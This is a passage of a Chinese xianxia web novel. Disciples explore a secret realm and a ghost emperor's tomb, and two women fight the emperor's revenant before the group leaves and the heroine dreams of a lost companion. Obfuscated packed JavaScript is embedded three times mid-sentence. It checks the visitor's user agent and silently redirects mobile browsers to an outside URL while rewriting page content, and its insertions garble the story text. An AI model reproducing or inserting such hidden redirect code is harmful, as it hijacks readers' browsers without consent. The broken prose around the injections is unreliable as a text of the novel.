众人见他们俩这一番操作,面面相觑,默默无言。 看来这两人在这秘境中的确没受什么苦。 林扶摇抱着剑坐到离火堆远的地方,眸光扫过,林见微裹在毯子里,背对着闪烁的火堆,呼吸清浅,常潮生盘腿坐在她枕头边上。 二人恰对上眼神。 少年眸光幽深,冷冷盯着她,瞳孔颜色极黑,一刹那间,满是毫不掩饰的阴郁和狠厉,明晃晃写满了警告与威胁。 呵。 她微勾起唇角,淡然移开目光。 她这没心没肺的小妹,怕是还不知道自己身边养了这么一条恶犬,忠心倒是忠心,就是胆大包天,暗地里觊觎些不该觊觎的。 到底畜牲就是畜牲,给不得几分好脸色。 …… 一夜平静。 翌日。 天色朦胧时大雾消散了些,金色晨辉透过枝叶缝隙洒下来,在薄雾之中留下一条条金色细线,路径清晰,万物迷离。 一行人收拾好行装,继续探索。 击杀妖兽,深入洞穴,采摘灵草。 密林中万物生发,植被茂盛,却处处都暗藏危机,活了不知道多少年的毒虫凶兽,长得面目狰狞,十分难缠。还有各类奇花异草,看起来娇艳欲滴,芬芳繁荣,实则凶残异常,专食人血肉。 林见微战战兢兢跟在队伍中央。 遇到些妖兽倒还好,打就完了,她就怕无意中碰到什么有毒的花草……但所幸有纪青在,单系木灵根,又见多识广,遍览古籍,每每都能提前预警,帮助众人规避了不少麻烦。 提剑帮着众人一同杀了两只妖兽,体内灵力告罄,林见微便凑到纪青身边随她一起采草药。 “唉,这个能摘吗?看起来有点眼熟。”林见微指着跟前一株草。 纪青闻言,目光随意扫过,脱口而出,“炼筋草,可以助人重塑破碎的经脉,很常见,天阁药植园中就培育了一批。” 说罢,她飞快收回目光,手下动作麻利,用灵力小心裹住跟前的灵植,仔细安放在事先准备好的药匣子中。 “炼筋草……”林见微一愣。 哦,上辈子她就是因为想找它才不小心死掉的。 唉,到底一场相遇。 希望后来的旺财能顺遂平安,安享余生吧。 41.倒霉 “发什么呆?”常潮生刚斩杀了一只妖兽,浑身血腥气,倏然出现在她身边,抬手便将那一株灵植拔了出来。 “哎,你干什么,不是这么摘的!”林见微赶忙从他手中夺过草药,指尖掐诀,仔细温养,“不好好保存,药性也留不住。” 常潮生眉梢一挑,“不过一株寻常灵草罢了。” “你懂什么。”林见微斜他一眼,煞有介事,“我们当初可没现在这么好的条件,唉。” “行了行了,我的储物袋装不下了,你帮我收着,我去看看那边。”说着,她将灵植往常潮生手里一塞,提着裙摆又屁颠屁颠朝纪青跑去,跑到五人环抱都抱不住的巨树下挖苔藓。 …… 众人一连在这浩瀚广袤的密林中辗转了一个多月。 收获颇丰,连带着修为也提升了不少。 破境而出。 眼前光影变幻,又落到了一座地下陵墓中。 怨鬼丛生,青云剑鸣,林扶摇寒了神色,横剑斩断鬼尸头颅,鲜血溅了一地黄沙,便见墓室中棺椁震动,怨鬼嘶吼。 林见微一脚将串在剑上的鬼尸踢开,鬼气森森的黑雾消散,她勉强平复心绪,“一上来就这么刺激?” “跟上。”常潮生牵着她跟在众人身后,飞快从墓室抽身。 墓道中。 壁灯闪烁,光线昏暗,林扶摇在最前方带路,道路两旁壁画凌乱,侵染了厚厚一层早已干涸的黑血,有的糊成一团,有的呈喷溅状,每走几步便能碰上一堆白骨。 低矮的墓道中气氛压抑,绰绰人影,更是诡谲,空气不流通,便弥散着一股淡淡的腐臭和泥土干涸后的气息。 林见微目光飞快扫过壁画上的内容,图案和文字混在一起,斑驳凋落,勉强可以拼凑出一些信息,讲的大概是一个帝王生前的功绩。 心中啧啧两声。 壁画上倒是歌功颂德,极尽赞美褒奖之词,但看这墓葬里,凶残的鬼尸头颅攒动,皆统一身着宫人服饰,怕是被强行弄来殉葬的。 一道暗箭破空而来,林见微连忙提醒,“有机关!小心!” “铿——” 箭羽折断,紧接着机关被触动,漫天箭矢铺天盖地袭来,挟裹着丝丝缕缕怨气,黑雾缭绕,破空有声,林见微倒吸一口凉气,下意识拉着常潮生躲进龟壳中。 “唉,你干什么?”她忙摁住他蠢蠢欲动的胳膊。 “出去帮忙。” “交给他们吧,他们能对付!” 常潮生闻言,双眸中便如春日破晓,眉眼之间不自觉染上笑意,“这么担心我?” 林见微一噎,还没回话,便听龟壳外纪青咬牙切齿,“你们别打情骂俏了,先让我进来躲躲。” 林见微面色一窘,赶忙将常潮生一脚踹出去,毫不留情,又将纪青拉进来,“你没事吧?” “你下次要是能拉着我,我能更没事。”纪青扶额。 这一路并肩历险,常潮生展现出来的修为可不低,只比林扶摇差一些,好家伙,一遇上事,林见微居然先拉他当缩头乌龟! “记住了记住了。”林见微摸摸鼻子。 草率了,思维没转变过来,还下意识以为常潮生跟自己一样脆皮。 箭矢如雨点般敲在龟壳上,乒铃乓啷,撞得它直打转,眼看着青云剑寒意凛冽,丛生的冰晶崩裂成霜花,簌簌落了一地,一行人就要越过这一重机关,她连忙操纵法器,慢悠悠挪着跟过去。 两人缩在龟壳里,行动缓慢,纪青忍了又忍,实在忍不住,“让我来吧。” “好好,你来操作。” 众人飞快脱离箭雨扫射的区域。 胡乱穿过乱如迷宫的隧道。 到了幽宫中殿。 刚一推开墓室大门,便听里面传来激烈的兵戈碰撞声,抬眼望进去,林戈一行人正被一群冒着黑气的骷髅人围攻,鏖战一处。 墓室昏沉,内部空间巨大,装潢华丽奢靡,置放着帝后宝座、金宝和金册,皆在打斗中四散零落,湮灭成齑粉。? “大哥!” 林戈一剑劈开近前的骷髅人,神色惊讶,确认林见微安然无恙才稍稍松口气,“没事就好。” “行了,现在不是叙旧的时候。”高定之飞快清理出一条通路,示意众人赶紧跟上,“既是帝王陵墓,先找到皇帝棺椁,说不定能出去!” 众人不敢耽误,飞快抽身。 但地宫中隧道无数,相互勾连,组成了一个巨大的迷宫,其中怨鬼成群,处处都是机关和迷踪阵法,众人四处转悠,闯进了不少密室,引得无数鬼尸攻击,转悠了两个时辰,愣是没找到主墓室的方位。 只能暂时到一间还算安全的空墓室稍作休整。 墓室门轰然合上,将紧追而来的成群鬼尸和骷髅人隔绝在外,但还能听到它们不断撞击石门弄出来的恐怖声响。 林见微被前面一群人遛,身后又是现场版大逃杀,两个时辰,整整四个小时,提心吊胆,此时手脚发软,喘着气一屁股坐到地上。 “你,你们,到底能不能找到出去的路啊……” 常潮生忙挨着她坐下,又将灵果榨出的果汁递到她面前。 咕咚咕咚灌下两大口,终于喘过气来。 “此事,此事还得从长计议。”队伍中唯一一位阵法师努力平复呼吸,一身狼狈,也没比林见微好到哪里去,“依我看,这整个幽宫,都是一个巨大的迷踪阵,大阵套小阵,没找到关窍之前很难走出去。” 林见微闻言顿时两眼一黑。 得,之前跑来跑去,都是白跑。 “唉,水给我喝两口。”阵法师毫不客气从林见微手里接过竹筒,咕咚咕咚也跟着猛灌两口,长长呼出一口气。 常潮生脸色一黑。 “喝你两口水你就瞪我。”阵法师默默咕哝一句,默默翻了个白眼。 林见微一瞧常潮生的脸色,连忙给人顺毛,“别气别气。” “好了。算算时辰,外面该入夜了,夜里阴气重,今夜我们就待在此处,不要走动。”林扶摇出声打断,擦拭掉青云剑上的污秽,收剑入鞘。 众人纷纷点头附和。 林戈瞧着林见微那一副不成器的样子,恨铁不成钢,“先前让你安分一点,跟紧我们,你却擅自追着鬼尸跑出去,如今,也是没多少长进。” “哥,我耳朵都要听出茧子了!”林见微痛苦抱头,“我一直在认真修炼!还有之前脱离队伍,不也是那个鬼新娘针对我嘛!本来我躲得好好的,谁知道她要来附我的身……” “鬼祟邪灵都知道挑软柿子捏,若不是你太弱……” “好了,好了。”高定之笑着出来打圆场,手中把玩着光滑似玉的扇柄,“林兄再说下去就招人烦了。” 林戈不住深深叹气,又抛了一瓶丹药给她,“用这瓶丹药,补充灵力更快。” “谢谢大哥!”林见微美滋滋收下,顺手分给了常潮生一粒。 墓室空寂。 林见微环视四周。 壁灯火光闪烁,鹤形落地灯支在墙角,一片光影昏暗,墙皮脱落下簌簌灰尘,墓室中摆放了一些石架,案几和箱子,皆被厚厚的灰尘覆盖。 没有屏风遮挡,视线长驱直入,墓室靠里的位置还有一方小榻,榻上放着艳红的枕头跟被褥,堆叠整齐,也落满了灰尘。 这间墓室……从构造上来说,很像一个寝居室。 收拢思绪,她打了个哈欠,余光一扫,瞥见身侧架子底下有一抹亮光一闪而逝,伸手去摸,摸出了一个宝石戒指。 大红色的宝石色彩透亮又艳丽,金边相衬,贵气非凡。 “这是什么?”纪青从她手中拿过戒指仔细看了看。 “普通的戒指吧。” “还真是。”查探一番,纪青随手将戒指扔回角落里。 无人在意这一个小插曲。 入了夜。 墓室中更加阴冷,寒气丝丝缕缕从地底下渗出来,直往人衣服里钻,贴在皮肤上,潮湿,森冷,好像有鬼物趴在人肩头上吹气,林见微本来在打坐,到后来实在坐不住,倏然睁开眼—— ?! 眼前场景大变样。 大殿中,轻纱罗帐,浅粉深红的绸子如烟似雾,香炉中白烟袅袅向上,一股甜到发腻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14175185|147461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的脂粉香气扑面而来,熏得她直想作呕。 “爱妃,爱妃快快过来给孤添上这杯酒。” 一个身着明黄色衣袍的男鬼斜倚在榻上,朝她招手,胸前衣襟大敞,露出一绺一绺的胸毛,眉眼深刻,却肤色暗沉,双眼下一圈乌青,一看便是不知节制的好.色.纵.欲.之徒。 还有好几个衣着暴露的女鬼尸从旁服侍,场面不堪入目! “爱妃是要忤逆孤吗!” “咳咳咳——” 男鬼忽然发作,神色狰狞,额上青筋暴起,飞快上前一把掐上她的脖子,林见微手忙脚乱挣扎,惊觉体内修为被压制,根本使不出法诀! 好好好! 她是软柿子,又捏她! 大脑缺氧,她索性憋着一口气,停下挣扎,脚下蓄力,出脚稳准狠,一脚踹到男鬼.下.体上。 “嘭——” 一声闷响,猝不及防被踹倒的男鬼又被人抄起青铜烛台狠狠补了一个重击。 “纪青?”林见微抚着胸口喘气,一脸惊愕。 两人此时都颇为狼狈,身上只裹着一层不堪蔽体的薄纱,大红大紫,脸上涂满了厚厚的脂粉,妆容秾丽艳俗,头上朱钗乱晃,发髻凌乱。 “屋里熏香有问题,快把它吃了。”纪青飞快将一粒丹药塞到林见微嘴里,眼看着男鬼要爬起来,她赶忙举着烛台又往它脑袋上招呼。 “放肆!” 男鬼眸中闪过狠厉之色,抬手擦去额角血迹,从地上爬起来,周身鬼气暴涨,威压迫人,引得殿内其他鬼尸瑟瑟发抖。 林见微缓缓转头看向纪青,视线相触,两人都从彼此的眼中看出了几分按捺不住的跃跃欲试。 确认过眼神。 心一横,干! 咔嚓一声脆响,纪青抽出一柄长刀,刀身雪亮,锋利无匹,随手将头上碍事的朱钗扯下来扔到地上,欺身便向鬼尸攻去。 林见微也唤出长剑,闪闪电蛇缠住剑身,挽起一个漂亮的剑花,便掏出数十张镇压邪祟的符箓,飞快赶到纪青身边支援。 大殿中刺耳的尖叫声此起彼伏。 修为不济的鬼尸四处绕逃窜,有的直接被打散,化作红粉枯骨,桌椅杯盏散落一地,灯烛倾倒,熊熊火光烧上帷幔,一路沿着鲛纱向上,整个华丽的宫殿顿时陷进一片火海中。 “放肆!你们放肆!孤要诛你们九族!” 暴君抽出置放在兵器架上的长刀,神色癫狂扭曲,面目肌肉抽搐颤抖,眼白中爬满了红血丝,压着风暴与怒火,快速朝两人重重挥刀劈来,挟裹着万钧杀伐之气。 林见微侧身避开,单手快速结印,金光闪烁,周身悬起数十张黄底朱砂符箓,急急朝鬼尸背后攻去,直打得它连连后退两步。 “你可以啊。”纪青笑着调侃。 “哎呀,装备好,都是装备好。”林见微谦虚两句。 但下一刻。 鬼尸身上的伤口飞快愈合,萦绕在它周身的黑雾愈发浓郁,便听它怒吼一声,又朝两人袭去。 “孤长生!孤不死!还不伏诛!” 林见微暗骂一声,还挺难缠,这暴君看起来自带回血技能,以她们俩的修为,强攻不行,还得想别的法子! 布帛燃烧殆尽,殿中弥漫着一股焦糊味,林见微飞快塞给纪青一堆符箓“你先跟他打着,我去找找机关,看看能不能从这儿出去。” 二人分头行动。 看着遍地残骸,林见微头都大了。 又到门口摸索了半天,毫无收获。 最后,她将目光落在珠帘后那一张豪华无比的漆金雕花大床上。 “找到了吗?”纪青咬咬牙,一刀砍下鬼尸的手臂,鲜血喷溅了一墙,但没一会儿,那手臂又重新长出来。 “马上马上!我再找找。”她飞快跳到床上四处翻找摸索,床缦轻摇,昳丽无边,靡靡香气愈发浓烈刺鼻,“哎呀,你说怎么就我们两个这么倒霉。” “说不定是那个戒指。” “啊,还真可能!”林见微恍然大悟,“难道那戒指是这狗皇帝赏给妃子的东西?” “别猜了,快点!” 42.已入凛冬 鬼尸见林见微在床榻上翻动,提着刀便发了狠地扑上去,纪青持刀截下一击,兵戈碰撞,铿然一道刺耳的铁器摩擦声,虎口被震得发麻,指尖拈数张符箓,灵力催动,噗嗤一声燃起半丈高的火焰。 她体内灵力已所剩不多。 林见微急得额头直冒汗,被褥枕头都被她抛进火里烧了个精光,只差没把雕刻有奇怪图案和文字的石质床板掀起来,愣是没发现什么机关。 忽然,指尖摸到一处细微的缝隙。 她心头一喜,狠狠用力一拍—— 咔哧一声。 地动山摇。 整个床榻嘭然向下陷落,她飞快跳开,拉着纪青避到角落,机关启动,大殿四壁飞快.射.出数根手臂粗细的黑精铁锁链,铁钩锐利,森森倒刺锃光瓦亮。 鬼尸侧身闪避,挥刀抵挡,却一朝不敌,被四面八方袭来的铁钩贯穿肢体,锁住他两边肋骨和锁骨,锁链收紧,拽着人悬在空中,刹那间血沫横飞。 便听一声刺耳的惨叫响遏行云。 床榻下陷,地底下缓缓冒出一副通体漆黑的棺椁,精铁锻造,锁链缠绕,还贴满了由鲜血绘成的符箓,构造出一个牢不可破的禁制,黑雾缭绕,鬼气森森。 暴君张嘴还想骂什么,锁链却飞快捆住它的脖子,勒得它面色青紫,眼球凸出。 林见微咽了咽唾沫,扶着手脚发软的纪青,眼睁睁看它被那数根铁链挟裹着送入棺椁中,轰隆一声,震耳欲聋,棺材板阖上。 锁链相互摩擦,哗啦作响,一圈圈收紧,将棺椁死死封住。 再无声息。 铁链缓缓缩回墙壁中,那一副棺椁也重新沉入地下。 “没事吧?”林见微扶着纪青席地坐下。 殿内一片凌乱,只有几簇微小的火苗闪烁跳动,不远处,地宫石门缓缓打开,抖落的灰尘簌簌浇在两人头顶,好不狼狈。 “咳咳咳——呸呸——” 林见微胡乱抹了一把脸,赶忙将掉进嘴里的灰尘呸出来,一侧头看向纪青。 又恰巧对上眼神。 “哈哈哈哈哈——” “哈哈哈哈——” 两人不住捧腹大笑,肩并肩靠在一起,笑得花枝乱颤,直不起身 “怎么样,这一场打得酣畅淋漓了吧?” “勉勉强强吧。”纪青也学着林见微的样子,胡乱擦了一把脸。 妆容糊成一团,艳.俗.浪.荡的宫装胡乱罩在身上,只能遮住关键部位,两张大花脸面面相觑,又笑作一团。 这一路,林见微隐隐能感觉到,纪青虽为医修,却不愿总是被人护着,每每身处险境,反而跃跃欲试,这一次,可算是让她抓住了能够大展身手的机会。 而她,可能是受到纪青感染,也想试试。 不成的话大不了再躲进龟壳里苟一苟。 “不过我一直想问,你既然修医道,每日钻研药方就已忙得不可开交,为何非要执著于提升武力?若是为自保,研制些毒药不更快些?” “毒药?”纪青摇摇头,匆忙服下一粒丹药补充灵力,“下毒哪有那么容易?若像今日这般被人围追堵截,或者对手根本不是活人,有毒也没用。况且医道前辈们苦心钻研,早研制出了不少解毒、防毒的丹药,我想追上他们的境界,怕是还要再修百年千年。” 林见微一顿,“也是哦,不过……” “你放心吧,血藤妖我没有再养了。”纪青笑着打断她,挪动了一下身子,背靠着墙壁,眉梢上挑,豪迈不羁,“那妖物确实狠辣,还容易失控,当初也是我太心急,差点误入歧途。” “那你干嘛非要修医道?虽然是木灵根,但也不妨碍学别的……”林见微拧眉思索,忽而恍然大悟,“你不会出自什么医道世家,因为家里人才学医的吧?” 纪青向她投去一个你猜对了的表情,神色颇为无奈。 “我幼年时,阿爹阿娘都死于仇家追杀,阿娘柔弱,虽然阿爹是剑修,但到底不敌,外祖母亲自教养我长大,我入医道也是想全了她的遗憾。” “啊……”林见微没料到纪青背后还有这么一段伤心往事,“那,除了血藤妖,就没有什么别的易于控制的花妖藤妖,让你养来防身了?” “没了。” “怎么会,天大地大,说不定是你没找到。” “旁的灵植要么毫无灵智,无法驱策,要么过于娇弱,无法杀敌。”纪青一顿,“也许上古曾有过,但到而今也湮灭不见了。” “上古?”林见微眸子一亮,撑起身挪到纪青面前盘腿而坐,飞快从储物袋中掏出一堆掌心大小的琥珀,清透澄澈,“这里面封了不少又黑又皱的种子,你看看有没有你在书上看到过的。” “你从哪里……”纪青目光扫过,倏然定住,忙伸手拿起一颗,仔细打量,又阖上眼,细细渗透入灵力探查。 双手合十,掌心与金黄的琥珀贴在一起,莹绿色的光芒流转于指尖,卷起细弱的气流,如云似雾,星光点点。 她睁开了眼。 “是女华!它可以与修者缔结契约,绝不会失控!” “那太好了,有了它也算了却了你一桩烦心事。”林见微没听说过什么女华男华的,但用得上就好。 “这怎么行?这种子怕已绝迹世间,我不能平白占你的便宜。” “简单,我把它卖给你,你给我灵石就好了。” 纪青扶额,“我现在的积蓄,怕是倾家荡产也不够。” “那就先给一部分,剩下的欠着,你们医修不是都超有钱吗?”林见微将琥珀往他怀里推了推,掐诀将地上的东西收拾好,“我也不担心你赖账。” “谢谢!”纪青笑得开怀,倾身上前一把将她抱住。 林见微一懵,反手搂住她,语调戏谑,“那若是天阁考核的时候我们再对上,你能放放水吗?” “不,可,能。”纪青在她腰上掐了一把。 林见微刚一扭腰躲开,便听洞开的石门边传来一声惊呼:“你们——” 他们一路斩杀地宫中的鬼尸,浴血赶过来,看到的便是这样一副场景: 两个年轻女子衣着暴露,艳色薄纱更衬她们肤若凝脂,玲珑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14201083|147461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 窈窕,紧抱在一起,眉梢眼角都是快活恣意的笑,妆容和鬓发凌乱狼狈,实在是…… 有辱斯文,有辱斯文啊! 男修们纷纷背过身去。 常潮生阴沉着脸,飞快将一张毯子裹到林见微身上,林见微连忙扯开毯子将纪青也裹进来,“再来一张啊。” 常潮生咬咬牙,依言又递出一张,脸色愈发难看。 “你们没事吧。”林扶摇上下扫视二人一眼,面上波澜不惊,“昨夜你二人忽然消失,怎么会到了这儿?” “是啊,可把我们担心坏了。”人群中的女修也附和道。 “没事没事。”林见微裹紧身上的毯子,三言两语将事情经过全部讲清楚,“还要多亏了纪青反应及时,服下过丹药后我们才没有出事。” 现在想想还有些后怕,若是她们二人修为全无,又被困此处与一群鬼尸待在一起,后果简直不敢想。 “没事就好。”林戈掐诀清理干净衣服上沾染的血渍和污秽,“你这个运气,可管好自己的手,别再乱碰东西。” 林见微闻言便如霜打过的茄子一般蔫巴下来,扯起毯子抹了一把脸。 常潮生抬手为她拨开耳侧的碎发,就站在她身后,紧贴着,几乎是将人笼罩在怀中,目光晦涩阴湿,如长在阴暗角落里湿哒哒的苔藓,见不得光,阴冷又沉郁。 少女一转头,目光相触。 便见他眸中阴鸷、冷郁,带着毫不掩饰的侵略性和占有欲。 林见微心里咯噔一声,下意识抬手盖住他的眼睛,像极了鸵鸟将脑袋藏进沙子里避险,没一会儿又觉掌心酥麻麻的痒,睫毛如扇,轻扫过肌肤,带着些暧昧的小小意趣。 吓得她连忙缩回手。 轻咳两声,“哥,那暴君已被封棺,迷阵破开了吗?我们快出去吧,也好快点把衣服变回来。” “走吧。”林戈目光凉凉扫过二人,抬步便进入殿中查探情况。 阵法师看过石头床板上的图案,拧眉思索片刻,飞快摸到了一个暗格,机关触动,轰隆一声,大殿中地动山摇,转眼间众人已落到雾海涌动的山林中。 “唉?是寒雾山?我们脱离秘境了?” 一阵寒风扑面而来,林见微裹紧身上的毯子,便见近处的草木上已覆盖了一层薄薄的白霜,远远近近的山林一片墨绿,地上厚厚积了一层飘落的枯叶。 已入凛冬。 外面正是暮色四起。 林扶摇抬手拂去落到肩头的霜晶,一双罥烟眉,于白茫茫雾气中隐约浮现,身姿亭亭,美得似一副泼墨山水画,近在咫尺,又高坐云端,“秘境已关闭,该回去了。” 荒草萋萋,众人开辟出一道小径,缓缓朝山下去。 路上,不少别家仙门的修士也先后被传送出来,有的神采奕奕,有的浑身浴血,三三两两结伴,暂时靠在树下疗伤。 下了山。 林氏飞舟已侯在密林边缘,踏出大雾,日光刺破,浅金色光辉粼粼耀眼,倾泻而下,在张扬的巨帆表面渡上了一层朦胧的光晕。 踏上甲板,尘埃落定。 43.夜梦 高处风更盛,林见微停在队伍后面,凭栏而望,群山层叠,风起雾动,奔涌似咆哮的浪潮,迷离、盛大又哀婉,挟裹着不可一世的浪涌,吞没天地。 “你的东西。”常潮生站在她身侧,十指清瘦,骨节分明,递出一方窄且长的木匣子,其上封着一个法诀。 林见微不明所以,接过后打开。 是炼筋草。 “没保存好,估计用不了了。” “没事。”合上匣子,林见微指尖微凉,摩挲着木料光滑的棱角,叹息一声,极低极浅的语调随风飘散,融进苍茫暮色,不见半点踪迹。 而常潮生识海中。 沧澜杖灵已连连催促了好几次,‘你快快将那般若玉佩要回来。’ ‘不过是普通的玉佩,要来有何用?’ ‘你也不识货!海神陨落前特意留下了它……肯定不是凡物!’ ‘这么说,你也不清楚?’常潮生抱臂而立,眼波一横,又不住黏到林见微身上,答复地漫不经心。 沧澜杖头上六条青龙因他这态度被气得扭曲,几乎要缠在一起,直接就闭了嘴。 众人行至甲板中央。 守在巨轮上的掌事弟子见他们回来,忙迎上前来汇报。 “少主,天阁弟子还有二十三人未到,地阁弟子还差五十九人。” 林戈眉眼疏朗冷清,扫过茫茫山川,漫不经心,“那便再等等他们,有伤重的先休养一番再出发。” “但家主传来口谕,让你与二位小姐出了秘境后即刻返程。” 林戈眉头一蹙,瞥向林扶摇,他们离家不到三个月,玉山中又有长老和前辈们留守,肯定不会出什么事,父亲又为何这么着急催他们回去? 林扶摇神色淡然,也是一无所知。 “那好,我们即刻启程,你安排好剩下的弟子。” “是,少主。” 那人躬身退下。 林见微听到队伍前面的动静,一头雾水,“大哥,这么着急是家里发生什么事吗?不等剩下的人啦?” “回去看看便知道了。” 说罢,林戈与身旁近侍匆匆离开,众人相互打过招呼后便各自散了。 宿鸟归飞急。 林见微也打着哈欠便朝船舱内走,反正天塌下来还有高个子顶着,步上阶梯,巨轮内部回廊一圈圈向上,盘旋成一个流畅优美的弧度,雕栏玉砌,华丽壮阔。 常潮生跟在她身后,两人的房间紧挨着,一墙之隔。 抬手推开门,身侧少年出声叫住她,递出一只储物袋,“吃的都在里面。” “这么贴心?还是你懂我!”林见微双眸似一弯新月,亮晶晶的,飞快接下,抬脚跃进门槛,又探出脑袋,扒在门边上朝他眨眨眼,“东西我收下了,你也快回屋休息吧。” 常潮生看着房门合上。 冰凌凌的寒冷空气里卷起一阵风,廊上廊下,行人脚步匆匆。 林见微回到屋里,将常潮生给的储物袋随手放上梳妆台,飞快脱下外衫,掐诀清理干净身上的浮尘便迫不及待扑到床上,陷进软乎乎的被子里,卷巴卷巴扯过来将自己盖了个严严实实。 啊,舒服。 摸到腰间的储物袋,刚一打开,水蓝色的鱼鳞和那枚看起来平平无奇的般若玉佩便一同掉了出来。 她没怎么在意,随手将它们塞到枕头底下便闭着眼沉沉睡去。 …… 梦里颇不宁静。 睁开眼时,识海中一片昏昧,支起身。 屋内光线昏暗,只听得耳畔淅淅沥沥的雨声,敲打在砖瓦上,雨滴沿着房顶的沟壑汇集成一条透明的细线,滴滴答答溅落的青石板上。 春雨如酥。 眼神一聚焦。 这里是—— 路川城,百家巷。 林见微心跳一滞,窗棂处,天光透过朦胧的窗户纸落进来,印成一方端正的毛边白纸,像贴在墙上一般,光晕模糊,她飞快起身,只觉身上轻飘飘的,便朝房门奔去。 手伸出。 径直穿透了光滑暗沉的门板。 她回身看,只看得见房门紧闭,又伸出手,还是什么都摸不到。 檐下细雨斜飞,溅湿了台阶,仰头见天光大亮,远远近近,山山着翠色,明丽又妩媚,天地一新,正是初春,万事万物,生机勃发。 “吱嘎——” 身侧房门推开,旺财扶着门框,长身玉立,还是戴着那一张黑而冰凉的铁质面具,面具两颊的位置被摩挲到光滑,映射着檐下并不明朗的光。 林见微一阵恍惚,下意识伸手要扶他。 自然什么也扶不住。 阶前风起,潮润润的,卷起男子及腰长发,木簪斜插,发带招摇,他眸光淡淡,无悲无喜,只看得雨幕珠帘,滴答悦耳,仿佛万世万叶,他只看得进眼前着一片雨。 正是在这亘古到教人头晕目眩的画面里,林见微听到了一道更令人心惊肉跳的声音。 “哎!林家的小仙长!万宝阁有仙人来找你嘞!”王大婶的高嗓门似嘭然坠下的一颗巨石,搅起滔天巨浪。院门没有栓上,她嘎吱一声推开,撑着一把油黄色的陈旧纸伞,近旁站着的,正是李延。 妇人一边招呼二人见面,一边口中喋喋不休询问,“怎的不见林仙子一同回来?可是路上耽搁了,还是又被街边的小玩意儿迷了眼睛?” 不,不要—— 林见微冲进雨幕中,想拦下他们,却只觉细雨万千,丝丝缕缕都沾不得她身。 如在梦中。 刹那间,梦境支离破碎,脚下潮湿清透的春雨消散不见,如同蒸发一般,身侧重重缥缈的光景,急速向前,扭曲成模糊的虚影。 她飞快转身,想要在这一片混乱中捕捉到点什么,譬如一个眼神,一片衣角,一个动作,还有那张粗糙简陋的漆黑面具。 嘈杂的声音充斥在耳畔,李延说了什么,王大婶说了什么,春雨淅淅沥沥敲在房檐上,巷弄尽头有狗吠声,小孩儿追逐打闹,拍手唱着童谣,到最后—— 世间一片寂静。 只剩下屋内明灭的灯火,绰绰影影,闪闪烁烁,在不见光的阴影里,啪嗒啪嗒,一颗颗珠子敲落在地板上,有的则沿着布料滚动,无声隐匿于阴暗角落中。 她终于看清了。 低矮的案几上陈放着两盏花灯。 一盏是小巧精致的白色兔子灯,那兔子被描摹得活灵活现,憨态可掬,灯芯噗簌簌烧着。 另一盏,是华丽到流光溢彩的玲珑灯,灯体呈塔状,灯盖上翘成一个优美的弧度,雕琢精致,繁华富丽,钩翘上垂着几缕流苏。 两盏灯依偎在一起,火光照亮了半个屋子,旺财却落在阴影中,只一片米黄色的衣角不慎迷失在让人心悸的暖光里。 林见微轻轻走近他,一步一步,一颗颗小而圆润的白色珍珠散落到地上,铺陈滚动,四散开来,窸窸窣窣的声响与窗外的夜雨交织出一首模糊的小调,火光照耀下,熠熠生辉,晕出颓烂而哀伤的光芒。 “旺财……” 她连连唤他好几声,无济于事。 伸手想捞起那一颗一颗的泣泪而成的珍珠,依旧什么也捞不住。 “别哭了,你再哭下去,我就想跟着你一起哭……” 说着说着,她哽咽起来,泪水模糊眼眶,烛火晕染成艳丽颓败的红,虚影和实影交织在一起,杂驳不堪,两道人影紧靠着,近在咫尺却遥不可及。 面具落在脚边,男子将头埋进膝盖里,水藻般的长发披散肩头,黑鸦鸦的,似细腻柔软的绸缎,光洁无匹,与沉沉暗夜融为一体,下一刻—— 彻底跌落入万丈深渊。 初春的寒风从洞开的窗户中刮进来,刮得桌案上纸张哗啦作响,簌簌抖动的书页似与他浑身微微颤动的频率共振,在这简陋狭小的屋子里回荡出震耳欲聋的悲鸣。 回声阵阵,久久不息。 珠光昳丽,满室凄凉。 万千场景似浮光掠影,一幕幕在眼前闪回,林见微愣愣站起身,抹去脸上两行清泪,长风穿透过躯体,轻飘飘的冷,便看得浮世万千,人间惊鸿。 昔日,与旺财朝夕相处的种种片段呈线性,以一种难以想象的形式,诡异的速度,飞快掠过身侧,扑面而来。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14220700|147461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她一怔,胸腔里便如潮涌起千万种情绪,却顾不得其他,也无心细细品味,只强迫自己,看一遍,再多看一遍,定要记住每一个细节! 他提笔落下的字迹,书写的内容,咬字断句时习惯的停顿,嗓音,最爱吃的菜,一举一动,所有相处的细节…… 便如置身于万花筒中,迷离飘忽,让她头晕目眩,记忆被打碎重组,隔着一层玻璃向外张望,所有的一切似乎都扭曲成让她觉得陌生的模样。 她再看不清了。 大雾朦胧。 繁华尽头,寂寂无声,只剩下那一双眼睛。 